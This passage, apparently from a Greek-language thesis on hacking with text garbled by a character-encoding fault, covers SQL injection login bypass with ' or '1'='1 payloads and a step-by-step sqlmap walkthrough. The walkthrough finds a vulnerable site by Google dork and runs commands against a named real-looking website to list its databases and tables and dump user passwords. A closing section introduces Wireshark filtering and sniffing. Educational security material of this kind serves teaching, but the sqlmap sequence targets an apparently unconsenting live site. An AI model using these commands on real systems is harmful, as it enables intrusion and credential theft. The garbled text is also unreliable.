name='tom' and password='tom' . Αςηά ηα ζηοησεία ήδε ςπάπσοςν ζηεν βάζε δεδοµένυν ανηηζηοησηζµένα , 

ε sql ζα απανηήζεη ζαν έγθςπο θαη ο σπήζηερ ζα θάνεη log in µε επηηςσία. 
 
 
 
 
 
 
 
 
 
 
 
 
 

 

εηθψνα 3.230 εδϊ είναη 
µία απιή εθαπµογή µε ένα 

 

απιψ log in πος απψ πίζυ έσεη µία βάζε δεδοµένυν mySQL θαη συπίρ ενδηάµεζα να θηιηπάπεη 

θάποηορ θϊδηθαρ ηηρ πιεποθοπίερ πος παίπνεη ε εθαπµογή. 
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εηθψνα 3.231 
 

ψηαν πάηεζα ηο 

θοςµπί submit ε 

εθαπµογή πήπε ηηρ 

πιεποθοπίερ θαη 

ηηρ έζηεηιε ζηο 

ζωζηεµα 

δηασείπηζερ 

βάζευν 

δεδοµένυν. Με 

αςηέρ ηηρ 

πιεποθοπίερ πος 

έζηεηιε ε 
 
εθαπµογή ε δηασείπηζε βάζευν δεδοµένυν δεµηοωπγεζε ηο παπαπάνυ sql query ψπος µε αςηψ ηο sql 

query έταξε ζηο table µε ψνοµα users ηερ βάζερ θαη είδε ζηα collumns name θαη password ψηη ςπάπσεη ζε 

ανηηζηοησία οη πιεποθοπίερ tom θαη tom. Αθοω ηο ζωζηεµα δηασείπηζερ βάζευν δεδοµένυν ηο ζεϊπεζε 

έγθςπο γωπηζε ζηεν εθαπµογή ψηη ςπάπσεη ε ανηηζηοησία θαη έηζη ε εθαπµογή έθανε µε επηηςσία log in 

πεηϊνηαρ ηο µήνςµα succefully log in. 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

 

ζηο ζωζηεµα δηασείπηζερ βάζερ δεδοµένυν ηο query SELECT * FROM users WHERE 
 

name='tom' and password='tom'ψηαν ζα µποςν οη πιεποθοπίερ ζηεν πιαηθψπµα θαη ηηρ ζηείιεη. 
 
 
 
 
 
 
 
 
 

εηθψνα 3.233 ηο 

ζωζηεµα δηασείπηζερ 

βάζευν δεδοµένυν 

απανηά ψηη ςπάπσεη 

αςηή ε ανηηζηοησία ζηο 

table users. 
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Σϊπα ζα πποζπαζήζυ µε άιιοςρ ηπψποςρ να µηιήζυ µε ηο ζωζηεµα δηασείπηζερ βάζευν δεδοµένυν να 
δυ άµα ζα έσυ θάποηα ζεηηθά αποηειέζµαηα. 
 
 
 
 
 
 
 
 

 

εηθψνα 3.234 Σϊπα απψ ηεν εθαπµογή πος εηζάγυ ηηρ πιεποθοπίερ γηα να πάνε ζηεν δηασείπηζε βάζευν 
δεδοµένυν ζα πποζπαζήζυ να εηζάγυ ηον παπαπάνυ θϊδηθα ανηί γηα θάποηον θυδηθψ πος ςπάπσεη. 
 

εηθψνα 3.235 ζηεν παπαπάνυ 

εηθψνα ζηεν εθαπµογή ψπος εηζάγυ 

πιεποθοπίερ ζηεν εθαπµογή 

ςποηίζεηαη ψηη δεν ήξεπα ηον θυδηθψ 

ηος username tom οπψηε ζηο 

username ππψζζεζα "tom" θαη γηα 
 

password έδυζα ηο ' or '1'='1. 
 

Αςηά ηα ζηοησεία ζα πεπάζοςν ζηο 

ζωζηεµα δηασείπηζερ βάζευν 

δεδοµένυν θαη ζα δεµηοςπγεζεί ηο 
 
εξήρ query. SELECT * FROM users WHERE name="tom" and password=" or 
 

'1'='1'. Αςηψ ηο query ζα τάξεη να βπεη ζηεν ζηήιε name ηο tom αιιά δεν ζα τάξεη ζηεν ζηήιε password 

γηα ηον θυδηθψ γηαηί ζηο query ηο statement πος µηιάεη γηα ηο password ζα πάπεη ηεν ηηµή 1 ππην θαν 

τάξεη γηαηί έσεη ηεν εξήρ ππάξε 1=1 ψπος αςηψ ζα παίπνεη πάνηα ζαν αποηέιεζµα ηεν ηηµή 1 µε 

αποηέιεζµα ηο ζωζηεµα δηασείπηζερ βάζευν δεδοµένυν να µεν τάξεη ηο password θαη να γςπίζεη ζηεν 

εθαπµογή ηο αποηέιεζµα έγθςπο θαη µε ηεν ζεηπά ηος ε εθαπµογή ζα βάιεη θάνεη log in ηον σπήζηε ψπος 

µψιηρ ηοποζέηεζε µε sql injection ένα µέπορ ενψρ sql query ζηο πιαίζηο ηος password. 
 
 

 

εηθψνα 3.236 
 

Σϊπα ζα 

πποζζέζυ ζηα 

inputs ηερ ίδηαρ 

εθαπµογήρ ηο 

ίδηο αθπηβϊρ 

θαη ζηο 

πποεγοωµενο 

παπάδεηγµα 

αιιά αςηήν ηεν 
 
θοπά θαη ζηο username. Οπψηε ζηο username ζα είναη ηο ' or '1'='1θαη γηα password ζα είναη ηο ' or '1'='1 . 
 
Η εθαπµογή ζα ηα ζηείιεη ζηο ζωζηεµα δηασείπηζερ βάζευν δεδοµένυν θαη ζα δεµηοςπγήζεη ένα sql query 
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ψπος ζα είναη ηο εξήρ : SELECT * FROM users WHERE name" or '1'='1' and password=" or '1'='1'ψπος ψηαν 

ηο δεη αςηψ ηο ζωζηεµα δηασείπηζερ δεν ζα σπεηαζηεί να τάξεη µέζα ζηα tables ηερ βάζερ γηαηί µέζα ζηα 

statements toy querry ςπάπσεη µία απψδοζε ηηµήρ πος ιέεη ψηη 1=1 οπψηε αςηψ βγαίνεη πάνηα αιεζέρ. Η 

δηασείπηζε βάζευν δεδοµένυν ζα απανηήζεη ζηεν εθαπµογή ζαν έγθςπο οπψηε ζα θάνυ log in µέζα ζηεν 

εθαπµογή ζαν σπήζηερ. Αςηψ ήηαν ένα απιψ παπάδεηγµα γηα ηο πυρ δοςιεωεη µία ηεσνηθή sql injection. 

 
 

 

3.10.1 SQL INJECTION ΜΕ ΤΟ SQLMAP 
 

΢ε αςηήν ηεν επίζεζε πος ζα θάνυ παποςζίαζε ζα σπεηαζηϊ 2 βαζηθά επγαιεία. Σο kali linux 2 64 bit πος 

είναη µία δηανοµή ηυν linux ζσεδηαζµένε γηα penetration testing θαη ηο επγαιείο sqlmap πος είναη 

εγθαηεζηεµένο µέζα ζηο kali linux εξ απσήρ. Ππην απσίζεη οποηαδήποηε επίζεζε βεβαηυνψµαζηε ψηη ηο 

ιεηηοςπγηθψ ζωζηεµα είναη πιήπερ ενεµεπυµένο. Γηα να γίνεη ενεµέπυζε πεγαίνυ ζηο ηεπµαηηθψ ηος Kali 

linux θαη δίνυ ηεν ενηοιή apt-get update && apt-get dist upgrade . Σο επγαιείο sqlmap είναη ανοησηοω θϊδηθα 

ιογηζµηθψ εηδηθά ζσεδηαζµένο γηα penetration testing. Ο ζθοπψρ ηος είναη αςηοµαηοποηεµένα να ενηοπίδεη ηα 

θενά αζθαιείαρ θαη να εθµεηαιιεωεηαη θενά πος είναη εςάιυηα ζε sql injection επηζέζεηρ. 

 
 

 

Ππην ξεθηνήζεη ε επίζεζε sql injection µε ηο επγαιείο sqlmap ζα βπυ ππϊηα µία ηζηοζειίδα ψπος 

είναη εςάιυηε ζε ηεσνηθέρ sql injection. 
 
 

 

εηθψνα 3.237 ζα γπάτυ 

ζηο search ηος google ηο 

index.php?id= θαη ζα µος 

εµθανίζοςν ηζηοζειίδερ πος 

ηο link ηοςρ δίπια ζηο url 
 

έσοςν ηο index.php?id . Αςηψ 

είναη πάπα ποιω ωποπηο γηαηί 

δείσνεη ψηη ζηεν βάζε 

δεδοµένυν ηερ ζειίδαρ έσεη 

θαιεζηεί θάηη µε αςηψ ηο id. Θα ανοίξυ µία ηζηοζειίδα ϊζηε να ηζεθάπυ αν είναη εςάιυηε ζε sql injection. 
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εηθψνα 3.238 ε ηζηοζειίδα θαίνεηε ψηη ηπάβεξε θάηη απψ ηεν βάζε δεδοµένυν µε απηζµψ id=1 . Μάιιον 
είναη sql γιϊζζα πος σπεζηµοποηεί. ΢ηο link ζα πποζζέζυ απιά ηο ζωµβοιο ' . Αν ανηηδπάζεη πεηϊνηαρ 

µήνςµα error πος να γπάθεη sql error ηψηε ε ζειίδα είναη εςάιυηε ζε sql injections. 
 
 
 
 
 
 
 
 
 

 

εηθψνα 3.239 ζηο url µψιηρ ππψζζεζα ηο ζωµβοιο ' θαη ξαναθάιεζα ηεν ζειίδα µε αςηψ ηο link. Πέηαξε 
µήνςµα error πος ιέεη ηο εξήρ. SELECT * FROM content_ews WHERE id=1' You have an error in your 

SQLsyntax; check the manual corresponds to your MySQL server version for the right syntax to use near "\" at 

line 1 . 

 

΢ηο παπαπάνυ µενωµαηα µποπϊ να ζςµπεπάνυ θάποηα ππάγµαηα. Ππϊηον αθοω έβαια ηο ζωµβοιο ' πος 

αςηψ ηο ζωµβοιο ηο σπεζηµοποηοων ζηεν sql γιϊζζα γηα να εηζάγεηρ θάποηα δεδοµένα µποπϊ να εηζάγυ 

θηάια δίπια απψ αςηψ ηο ζωµβοιο ϊζηε να βπυ δεδοµένα ψπος ε ζειίδα δεν ζα ηα εµθάνηδε ζε άιιοςρ 

σπήζηερ. Αιιά αςηψ ζα ηο αθήζυ γηα ηο sqlmap ψπος ηα θάνεη αςηοµαηοποηεµένα. Σο δεωηεπο πος 

ζςµπεπαίνυ είναη ψηη σπεζηµοποηεί mySQL γιϊζζα γηαηί ηο µήνςµα error πος πεηάεη ηο σπεζηµοποηοων 

εθαπµογέρ πος σπεζηµοποηοων ηεν γιϊζζα mySQL ψπυρ παπάδεηγµα ε εθαπµογή phpMyAdmin πος 

είναη ζωζηεµα δηασείπηζερ βάζευν δεδοµένυν. Σο ηπίηο πος ζςµπεπαίνυ είναη ψηη αςηψ είναη ιάζορ ηος 

ππογπαµµαηηζηή ηερ ζειίδαρ. Γηαηί δεν έβαιε θϊδηθα αζθαιείαρ ψπυρ παπάδεηγµα έναν θϊδηθα πος να 

θηιηπάπεη αςηά πος ζηέινεη έναρ σπήζηερ ϊζηε να µπιοθάπονηαη ζηο θηιηπάπηζµα ππην θηάζοςν ζηο 

ζωζηεµα δηασείπηζερ βάζευν δεδοµένυν ϊζηε να αποηπέπεηε θάποηα sql injection επίζεζε. 
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εηθψνα 3.240 αθοω δηαπίζηυζα ψηη ε ζειίδα είναη εςάιυηε ζε sql injections ζα ξεθηνήζυ ηο sql map. Θα 
ανοίξυ ένα ηεπµαηηθψ θαη ζα γπάτυ ηεν ενηοιή sqlmap -u http://www.uselitewine.com/index.php?id=1 -- dbs . 

Αςηή ε ενηοιή ζα πποζπαζήζεη να εµθανίζεη ψιερ ηηρ δηαζέζηµερ βάζεηρ δεδοµένυν πος ςπάπσοςν πίζυ απψ 

αςηήν ηεν ηζηοζειίδα. 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

 

εηθψνα 3.241 µεηά απψ θάποηα ιεπηά αναµονήρ ηο sqlmap µψιηρ εµθάνηζε 3 βάζεηρ δεδοµένυν. Σα ονψµαηα 

ηοςρ είναη information_scema , yourcms_db θαη yourcms_dbTest. Θα πποζπαζήζυ να ζςνδεζϊ ζε θάποηα βάζε 

δεδοµένυν απψ αςηέρ ηηρ ηπεηρ. 

 
 
 
 
 
 
 
 
 
 
 

 

εηθψνα 3.242 γηα να ζςνδεζϊ ζηεν βάζε δεδοµένυν µε ψνοµα yourcms_db ζα γπάτυ ηεν ίδηα ενηοιή µε 
θάποηερ επηπιέον παπάµεηποςρ πος ζα πποζδηοπίδοςν ηεν ζςγθεθπηµένε βάζε δεδοµένυν θαη να εµθανίζεη ηα 

tables ηερ βάζερ. sqlmap -u http://www.uselitewine.com/index.php?id=1 -D yourcms_db --tables . 
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εηθψνα 3.243 ηο sqlmap ψπυρ θαίνεηε θαη ζηο screenshot θαηάθεπε να ζθάτεη αθψµα ποηο βαζηά θαη να 
θανεπϊζεη ηα tables πος ςπάπσοςν µέζα ζηεν βάζε δεδοµένυν yourcms_db . Σα tables πος εµθανίζηεθαν 

είναη 58. Θα πποζπαζήζυ να δυ άµα θαηαθέπυ να µπυ ποηο βαζηά ϊζηε να θαηαθέπυ να εξάγυ δεδοµένα γηα 

σπήζηερ πος είναη εγγεγπαµµένοη ζηεν ζειίδα. 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

 

εηθψνα 3.234 θαη άιια αποηειέζµαηα απψ ηα 58 tables πος εµθάνηζε ηο sqlmap. ε ιίζηα είναη ηεπάζηηα 
θαη ζα έπηανε ποιω σϊπο άζθοπα. 
 
 
 
 
 
 
 
 
 
 
 

 

εηθψνα 
 

3.235 ενηψπηζα µέζα ζηα tables ένα table µε ψνοµα user_sites. Θα πποζπαζήζυ µε ηο sqlmap να εµθανίζυ 
ηα collumns αςηοω ηος table µε ηεν εξήρ ενηοιή. sqlmap -u http://www.uselitewine.com/index.php?id=1 -D 

yourcms_db -T user_sites --columns . 
 
 
 
 
 
 
 
 
 
 

 

160 



malware , active hacking ,passive hacking 
 
 
 
 
 
 

 

. 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

 

εηθψνα 3.236 ηο table µε ψνοµα user_sites εµθάνηζε 26 columns. Μέζα ζε αςηά ηα columns ςπάπσοςν 2 
columns µε ονψµαηα password θαη user_name. Καη ηα 2 είναη ηωπος varchar οπψηε έσοςν strings µέζα. Θα 

ππέπεη να ηα σπεζηµοποηοων οη σπήζηερ γηα να εηζέιζοςν ζηεν ζειίδα. Θα πποζπαζήζυ να ζςνδεζϊ ζηεν 

ζειίδα µε ηοςρ θυδηθοωρ θαη usernames. Θα δϊζυ ηεν εξήρ ενηοιή 
 

sqlmap -u http://www.uselitewine.com/index.php?id=1 -D yourcms_db -T user_sites -C 

username,password --dump . 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

 

εηθψνα 3.237 ψπυρ θαίνεηε µεηά ηεν ενηοιή πος έδυζα ηο sqlmap θαηάθεπε να εµθανίζεη ψια ηα usernames 

θαη ηα password πος βπίζθονηαη µέζα ζηο table user_sites ψπος αςηψ ηο table ςπάπσεη µέζα ζηεν βάζε 

δεδοµένυν µε ψνοµα yourcms_db. 
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εηθψνα 3.238 ηο ςπψιοηπο απψ ηεν µεγάιε ιίζηα αποηειεζµάηυν πος εµθάνηζε ηο sqlmap. Έναρ 

θαθψβοςιορ σπήζηερ ζα µποποωζε να σπεζηµοποηήζεη µία ηέηοηα ενέπγεηα ϊζηε να βπεη ηον θυδηθψ ηος 

admin θαη να εηζέιζεη ζηεν ζειίδα ζαν admin ϊζηε να θάνεη θάποηα θαθψβοςιε ενέπγεηα. Άιια δεν ζα ήηαν 

θαη ποιω ζοθψ θάηη ηέηοηο γηαηί ηο ποηο πηζανψν πος ζα ζςµβεί ζε έναν ηέηοηο σπήζηε ζα ήηαν να βπεζεί 

ζηεν θςιαθή. Έναρ white hat hacker ή έναρ gray hat hacker αν ενηοπίζεη ένα ηέηοηο ππψβιεµα ζε θάποηα 

εθαπµογή έσεη ηο σπέορ να αναθέπεη ζηον δηασεηπηζηή ηερ ζειίδαρ ϊζηε να θαιωτεη ηα θενά αζθαιείαρ ππην 

θάποηορ θαθψβοςιορ σπήζηερ πποζπαζήζεη θάηη γηα πποζυπηθψ ηος θέπδορ. 
 
 
 
 
 
 
 
 
 

 

Κεφάλαιο 4 passive hacking Πρακτικό κομμάτι 
 

΢ηο ππαθηηθψ µέπορ αςηοω ηος θεθαιαίος ζα αναδείξυ: 
 

1) Μία γπήγοπε εηζαγυγή ζε ένα ποιω βαζηθψ επγαιείο ηο wireshark πος ε δοςιεηά ηος είναη γηα 

network monitoring θαη sniffing packets συπίρ να έσεη ζςνδεζεί ζε θάποηον ςποιογηζηή µέζα ζε ένα δίθηςο. 
 

2) ΢ηο δεωηεπο µέπορ αςηοω ηος θεθαιαίος ζα δείξυ πυρ µποπεί να σπεζηµοποηεζεί ηο 

wireshark γηα passive information gathering. ∆ειαδή να µαζαίνεη ζηοησεία γηα θάποηα µεσανήµαηα ζε 

ένα δίθηςο συπίρ να ηα "ενοσιεί" άµεζα. 

 
3) ΢ε αςηψ ηο µέπορ ηος θεθαιαίος ζα δείξυ µεπηθοωρ ηπψποςρ ζςιιογήρ πιεποθοπηϊν γηα έναν 

ζηψσο συπίρ να ηο θαηαιαβαίνεη ο ζηψσορ. Κάποηοη ηπψποη passive information gathering δειαδή συπίρ 

να έσυ άµεζε ζωνδεζε ζε έναν ςποιογηζηή γηα να µάζυ πεπηζζψηεπα γηα ηον ζηψσο ή ηο δίθηςο. 
 

4) ΢ε αςηψ ηο µέπορ ζα αναδείξυ πυρ γίνεηε µε ηο wireshark να θάνεη sniffing πιεποθοπίερ ψπυρ 

θυδηθοωρ , εηθψνερ θαη άιια απσεία ζε µηα µε θπςπηογπαθεµένε ζωνδεζε. Η ςποθιοπή γίνεηε µε passive 

ηπψπο δειαδή δεν έσυ ζςνδεζεί ζηον ςποιογηζηή ηος ζηψσος απιά θάνεη sniffing ηα παθέηα πος ζηέινεη µε 

passive ηπψπο. 
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5) ΢ε αςηψ ηο µέπορ ζα αναδείξυ πυρ γίνεηε µε ηο επγαιείο ettercap ε ςποθιοπή δεδοµένυν µε 

µία ηεσνηθή man in the middle πος έσεη passive σαπαθηεπηζηηθά. ∆ειαδή δεν ςπάπσεη άµεζε επαθή µε ηον 

ςποιογηζηή απιά θαηαγπάτεη θαη ηπαβάεη πιεποθοπίερ. 
 
 
 

 

4.1 Wireshark indroduction 
 

Σο wireshark είναη ένα επγαιείο ψπος ε δοςιεία ηος είναη να θάνεη sniffing ηα παθέηα δεδοµένυν θαη 

να θάνεη ανάιςζε παθέηυν ζε ένα δίθηςο. Σο wireshark είναη ένα επγαιείο ψπος είναη σπήζηµο γηα έναν 

αναιςηή δεδοµένυν ψπος ειέγσεη ηη γίνεηε µέζα ζε ένα θαιϊδηο ή αζωπµαηα ζηον αέπα. Σο wireshark 

µποπεί να σπεζηµοποηεζεί γηα ποιιοωρ ιψγοςρ. Κάποηοη είναη οη εξήρ : 
 

1) Οη σπήζηερ µποποων να µάζοςν ζηεν ππάξε πυρ δοςιεωοςν ηα δίθηςα δεδοµένυν , ηα 

ππυηψθοιια επηθοηνυνίαρ θαη πυρ επηθοηνυνοων οη ςποιογηζηέρ. 

 
2) Επαγγειµαηίερ ή απιοί σπήζηερ πος αζσοιοωνηαη µε ηεν αζθάιεηα ςποιογηζηϊν θαη δηθηωυν ηο 

wireshark είναη έναρ ποιωηηµορ βοεζψρ γηα να δοςν ηη ζςµβαίνεη µέζα ζηεν θίνεζε ενψρ δηθηωος. 
 

3) ΢σεδηαζηέρ ιογηζµηθοω δηθηωυν ηοςρ βοεζάεη ηο wireshark ζηον ενηοπηζµψ ιαζϊν θαη ζθαιµάηυν 

ϊζηε να ξέπεη ο ππογπαµµαηηζηήρ πος να ζηοσεωζεη γηα να δηοπζυζεί ηο ππψβιεµα. 
 
4) ∆ηασεηπηζηέρ δηθηωυν σπεζηµοποηοων ηο wireshark γηα ανηηµεηϊπηζε πποβιεµάηυν επηθοηνυνίαρ 

µέζα ζηο ςποδίθηςο ή έξυ ζηο δηαδίθηςο. 
 

Οη ηθανψηεηερ ηος wireshark είναη ποιιέρ. Επηιογή θίιηπυν γηα αποµψνυζε ζςγθεθπηµένυν παθέηυν , 

δεµηοςπγία θαη εµθάνηζε ζηαηηζηηθϊν αναιωζευν , αποζήθεςζε παθέηυν γηα απγψηεπα να γίνεη έιεγσορ ε 

επεξεπγαζία , παποςζίαζε παθέηος δεδοµένυν µε ποιω ιεπηοµεπή εξήγεζε ψπυρ ππυηψθοιια πος 

σπεζηµοποηήζεθαν , ηη δεδοµένα έσεη (αν δεν είναη θπςπηογπαθεµένα) , ip δηεωζςνζε θαη port 

επηθοηνυνίαρ ηος αποζηοιέα , ip δηεωζςνζε θαη port επηθοηνυνίαρ ηος παπαιήπηε. 
 

Σο wireshark δεν είναη ζωζηεµα IDS(intrusion detection system). Αν ςπάπξεη πεπίεπγε θίνεζε ζηο δίθηςο πος 

παπαθοιοςζεί ηο wireshark δεν ζα ενεµεπϊζεη. Αιιά είναη ένα ποιω ζεµανηηθψ επγαιείο παπαηήπεζερ γηα να 

θαηαιάβεη ο σπήζηερ ηη ζςµβαίνεη ζηο δίθηςο ηος απψ ζθάιµαηα µέσπη θαη θαθψβοςιερ πποζέζεηρ. 
 

εηθψνα 4.1 ηο 
 

wireshark ςπάπσεη 

θαη γηα δηανοµέρ 

linux αιιά θαη γηα 

δηανοµέρ windows. 

Είναη ειεωζεπο 

ιογηζµηθψ ανοησηοω 

θϊδηθα. ΢ηεν 

ζςγθεθπηµένε 

παποςζίαζε ζα 

σπεζηµοποηήζυ ηο 
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wireshark πος έπσεηαη παθέηο µαδί µε ηο Kali linux 2 64 bit. 
 

εηθψνα 4.2 ψηαν 
 

θοπηϊζεη ηο 

γπαθηθψ 

πεπηβάιιον ηος 

wireshark ηο ππϊηο 

παπάζςπο πος ζα 

παποςζηαζηεί ζα 

είναη ποηο network 

interface ζέιεη ο 
 
σπήζηερ να σπεζηµοποηήζεη ηο wireshark. Σο wlan0 είναη ε αζωπµαηε θάπηα δηθηωος θαη ζςµβοιίδεηε 

wlan0 ζε ψιερ ηηρ δηανοµέρ linux. Σο eth0 είναη ε ενζωπµαηε θάπηα δηθηωος θαη ζςµβοιίδεηε eth0 ζε ψιερ 

ηηρ δηανοµέρ linux. Έσεη επίζερ ψπυρ θαη επηιογή γηα bluetooth ή να σπεζηµοποηεί ψια ηα network interfaces 

ηαςηψσπυνα ψπος είναη ε επηιογή any. 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

 

εηθψνα 4.3Σο wireshark ζα απσίζεη ηεν θαηαγπαθή ηερ θίνεζερ ηυν παθέηυν ζηο δίθηςο. ΢ηο ππάζηνο 
παπάζςπο απεηθονίδονηαη ηα παθέηα πος έσοςν πεπάζεη µέζα απψ ηο δίθηςο θαη έσοςν θαηαγπαθεί απψ ηο 

wireshark. 
 

 ΢ηεν ππϊηε ζηήιε ηος πίναθα δείσνεη ζε ζεηπηαθψ απηζµψ ηο παθέηο πος πέπαζε ζηο δίθηςο.


 ΢ηεν δεωηεπε ζηήιε δείσνεη ζε ποηον σπψνο ζηάιζεθε ή ήπζε ηο παθέηο ζηο δίθηςο απψ ηψηε πος 
ξεθίνεζε ηο monitoring.

 ΢ηεν ηπίηε ζηήιε δείσνεη απψ ποηον ζηάιζεθε ηο παθέηο.
 ΢ηεν ηέηαπηε ζηήιε δείσνεη ζε ποηον ζηάιζεθε ηο παθέηο.
 ΢ηεν πέµπηε ζηήιε δείσνεη ποηο ππυηψθοιιο σπεζηµοποηήζεθε ζηο παθέηο.
 ΢ηεν έθηε ζηήιε δείσνεη ηο µέγεζορ ηος παθέηος.
 ΢ηεν έβδοµε ζηήιε δείσνεη πεπηζζψηεπερ πιεθοποπίερ γηα ηο παθέηο.

 

Άµα ςπάπσεη µεγάιε θίνεζε ζηο δίθηςο ηα παθέηα µποπεί να πποζηίζενηαη ανά εθαηονηάδερ ηεν θοπά ή θαη 

σηιίαδερ οπψηε είναη αδωναηον να δηαβαζηοων ψια απψ έναν σπήζηε. Γηα οµαδοποίεζε ηυν παθέηυν ϊζηε 

να µποπεί θάποηορ να ηα ξεσυπήζεη σπεζηµοποηοωνηε ηα θίιηπα. Σα θίιηπα έσοςν υρ ζθοπψ ηεν αποµψνοζε 

θάποηυν ζςγθεθπηµένυν παθέηυν πος έσεη ο σπήζηερ ενδηαθέπον ανάµεζα ζε σηιηάδερ άιια παθέηα. Σα 

θίιηπα δηασυπίδοςν παθέηα ανάιογα µε ηον απηζµψ πος βπίζθονηε , ηεν ip , ηο ππυηψθοιιο , µία ιέξε 
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θιεηδί µέζα ζηα δεδοµένα ηος παθέηος ή θαη ηον ζςνδηαζµψ αςηϊν µε ιογηθέρ ππάξεηρ ανάµεζα ζηα 
θίιηπα ψπυρ ηο or ή ηο and. 
 

΢ηεν παπαπάνυ εηθψνα σπεζηµοποηήζεθε ηο θίιηπο http θαη εµθανίδονηε µψνο ηα παθέηα 

πος σπεζηµοποηοων ηο ππυηψθοιιο http. 
 
 
 
 
 
 
 
 
 
 

 

εηθψνα 4.4 ζηο ζςγθεθπηµένο θίιηπο ζα δείξεη ηεν θίνεζε udp πος έσοςν ζηαιεί ή παπαιεθζεί απψ ηο port 
 

53. 
 
 
 
 
 
 
 
 
 
 
 

 

εηθψνα 4.5 ζηεν ζςγθεθπηµένε ππψηαζε ςπάπσοςν 2 θίιηπα µε ηεν ιογηθή ππάξε or. ∆ειαδή ζα ζςµβεί ή ηο 

ένα ή ηο άιιο ζα εµθανίζεη ηο ανάιογο παθέηο. ∆ειαδή ε ζςγθεθπηµένε ππψηαζε ζα πεη αν απψ ηεν πψπηα 53 

ςπάπσεη udp θίνεζε να ηεν εµθανίζεη ή αν απψ ηεν πψπηα 53 ςπάπσεη tcp θίνεζε να ηεν εµθανίζεη. 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

 

εηθψνα 4.6 ΢ηο παπαπάνυ θίιηπο ζα αποµονϊζεη παθέηα πος πποέπσονηε ή πποοπίδονηε γηα ηεν 
δηεωζςνζε ip 192.168.1.1. 
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εηθψνα 4.7 ζηεν παπαπάνυ ππψηαζε πος ζςνδηάδεη 2 θίιηπα έσεη ηο ιογηθψ and ανάµεζα πος εννοεί ψηη 
ππέπεη να ηζσωοςν θαη ηα 2 θίιηπα 
 

ζε ένα παθέηο γηα να ηο εµθανήζεη. ΢ηεν παπαπάνυ ππψηαζε εννοεί ψηη γηα να εµθανήζεη ένα παθέηο ζα 

ππέπεη ε δηεωζςνζε ip πος πεγαίνεη ή πποέπσεηε να είναη ε 192.168.1.103 θαη επίζερ ε θίνεζε να είναη tcp 

απψ ηεν πψπηα 443. Αν πποςποζέηεη ένα παθέηο αςηά ηα 2 ηψηε ζα εµθανηζηεί ζηον πίναθα. 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

 

εηθψνα 4.8 ζηο παπαπάνυ θίιηπο ιέεη ψηη ένα παθέηο tcp να πεπηέσεη υρ ιεξε θιεηδί ηo google. Σο παθέηο µε 

ζεηπηαθψ απηζµψ 296 είσε ζαν πιεποθοπία µέζα ηεν ιέξε google γηα αςηψ ηο αποµψνυζε θαη ηο εµθάνηζε. 

 
 
 
 
 
 
 
 
 
 
 
 
 

εηθψνα 4.9 αςηψ ηο θίιηπο εµθανίδεη ηα παθέηα πος πποζπάζεζαν να θάνοςν θάποηα πποζπάζεηα tcp 

ζωνδεζε µε θάποηον άιιον ςποιογηζηή µε tcp syn θαη αςηψ ηο παθέηο tcp syn ήηαν επηηςσέρ θαη πήπε 

ηεν ηηµή 1. 
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εηθψνα 4.10 αςηή ε ππψηαζε έσεη 2 θίιηπα πος ζςνδέονηε µε ηεν ιογηθή ππάξε or πος ζςµβοιίδεη ή ηο ένα 
θίιηπο ππέπεη να ηζσωεη ή ηο άιιο γηα θάποηο παθέηο γηα να ηο εµθανίζεη. ΢ηεν πποθεηµένε πεπίπηυζε ζα 

εµθανήζεη θάποηο παθέηο πος έσεη ηο ππυηψθοιιο http ή ηο ππυηψθοιιο dns. 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

 

εηθψνα 4.11 αθοω έσεη θαηαγπαθεί ψιε αςηή ε θίνεζε απψ ηο wireshark. ΋ια ηα παθέηα πος πεπάζανε 
απψ ηο δίθηςο πος ζςνδεψηαν ε δηεπαθή wlan0 ηερ θάπηαρ δηθηωος µποπϊ να αποζεθεωζυ ψια αςηά ηα 

παθέηα ηοπηθά ζηον ςποιογηζηή γηα να ηα έσυ θαη να ηα εξεηάζυ ψποηε επηζςµϊ θαη συπηρ να είµαη 

ζςνδεµένορ ζε θάποηο δίθηςο. 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

 

εηθψνα 4.12 ψιε ε θίνεζε πος θαηέγπατε ηο µεσάνεµα µέζυ ηος wireshark αποζεθεωηήθε ηοπηθά ζηον 
ζθιεπψ δίζθο ηος µεσανήµαηορ ζε ένα απσείο µε θαηάιεξε .pcapng. 
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4.2 passive information gathering with wireshark 
 

Σο wireshark εθηψρ απψ ένα επγαιείο παπαθοιοωζεζερ παθέηυν ζε ένα δίθηςο µε ζθοπψ να βπεζεί θάποηο 

ππψβιεµα πος ςπάπσεη ζηο δίθηςο έναρ άιιορ σπήζηερ ζα µποποωζε να ηο σπεζηµοποηήζεη αςηψ ηο 

επγαιείο ϊζηε να µάζεη πιεποθοπίερ γηα ηα µεσανήµαηα πος ςπάπσοςν µέζα ζηο δίθηςο ψπος θάνεη 

monitoring ηο wireshark. Πιεποθοπίερ ψπυρ δηεςζωνζεηρ ip ηυν µεσανεµάηυν , ποηερ πψπηερ , ποηα 

ππυηψθοιια θαη ποηερ ςπεπεζίερ σπεζηµοποηοων ή να παπαθοιοςζεί θαη να αποζεθεωεη απσεία , δεδοµένα 

θαη ζςδεηήζεηρ αν δεν είναη θπςπηογπαθεµένερ ζε ππαγµαηηθψ σπψνο συπίρ να παπεµβένεη ζηα 

µεσανήµαηα έµµεζα. Γνυπίδονηαρ αςηά ο επηηηζέµενορ να µποπεί να βπεη θάποηα αδςναµία ϊζηε να 

ξεθηνήζεη θάποηα επίζεζε. 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

εηθψνα 4.13 ζε αςηήν ηεν εηθψνα µποπεί να δηαθπηζεί ψηη ο επηηηζέµενορ βπήθε έναν ζηψσο µε ηεν δηεωζςνζε 

192.168.1.103 θαη επηθοηνυνεί µε ηο ππυηψθοιιο http απψ ηεν πψπηα 49423 θαη ππυηψθοιιο επηθοηνυνίαρ tcp. 

Επηθοηνυνεί µε έναν ςποιογηζηή µε δηεωζςνζε 54.231.34.36. Ο επηηηζέµενορ ζα µποποωζε να επηζθεςηεί αςηήν 

